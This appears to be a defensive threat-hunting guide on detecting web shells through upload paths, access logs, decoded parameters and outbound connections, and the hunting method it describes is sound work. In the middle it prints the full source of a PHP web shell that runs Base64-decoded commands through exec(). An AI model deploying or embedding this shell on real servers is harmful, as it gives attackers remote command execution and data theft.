Web shell

A web shell is server-side code that an attacker uploads to a web server to run commands remotely through a web interface. It turns a web-application compromise into a platform for post-exploitation activity, including credential compromise, lateral movement, and data exfiltration. section 4.1 section 4.1.2

Hunt for web shells as both an upload problem and a command-execution problem. A file-upload flaw may allow a PHP file to bypass extension checks, then expose it from an upload directory. Even when the file has been deleted, web-access logs can preserve requests that show it was served successfully. section 4.1.2 section 4.2.2

Investigate suspected web shells in a repeatable sequence:

• Search web-access events for requests to known or unusual upload directories, then isolate executable extensions such as .php. section 4.2.1
• Treat repeated requests to an uploaded executable and long encoded query parameters as high-value indicators; URL-decode and Base64-decode parameters to expose commands. section 4.2.1
• Compare decoded commands with outbound firewall connections from the web-server hosts to identify downloaded tools, callbacks, or reconnecting activity. section 4.2.3
• Ask administrators to identify the account behind the upload path and preserve directories, logs, and backups before cleanup removes evidence. section 4.2.2

Absence of the file is not evidence of safety. A web shell and its temporary payloads may be deliberately deleted to remove host indicators, while access logs and network telemetry retain a timeline of execution. Backups can provide the original file for deeper comparison against other PHP files. section 4.2.2 section 4.4

<title>PHP Web Shell</title>
<html>
<body>
    <!-- Replaces command with Base64-encoded Data -->
    <script>
    window.onload = function() {
        document.getElementById('execute_form').onsubmit = function () {
            var command = document.getElementById('cmd');
            command.value = window.btoa(command.value);
        };
    };
    </script>
    
    <!-- HTML Form for inputting desired command -->
    <form id="execute_form" autocomplete="off">
        <b>Command</b><input type="text" name="id" id="id" autofocus="autofocus" style="width: 500px" />
        <input type="submit" value="Execute" />
    </form>
    
    <!-- PHP code that executes command and outputs cleanly -->
    <?php
        $decoded_command = base64_decode($_GET['id']);
        echo "<b>Executed:</b>  $decoded_command";
        echo str_repeat("<br>",2);
        echo "<b>Output:</b>";
        echo str_repeat("<br>",2);
        exec($decoded_command . " 2>&1", $output, $return_status);
        if (isset($return_status)):
            if ($return_status !== 0):
                echo "<font color='red'>Error in Code Execution -->  </font>";
                foreach ($output as &$line) {
                    echo "$line <br>";
                };
            elseif ($return_status == 0 && empty($output)):
                echo "<font color='green'>Command ran successfully, 
                but does not have any output.</font>";
            else:
                foreach ($output as &$line) {
                    echo "$line <br>";
                };
            endif;
        endif;
    ?>
</body>
</html>

The recovered PHP artifact shows a web form that Base64-encodes a command, passes it as a request parameter, and contains PHP handling for decoded command execution. Use its distinctive code patterns to scope searches for altered PHP files. section 4.4 section 4.5

After recovering a shell, search legitimate PHP files for characteristic functions such as base64_decode and exec. Such a search is a lead rather than proof: investigate each match in context to determine whether code was modified maliciously. section 4.5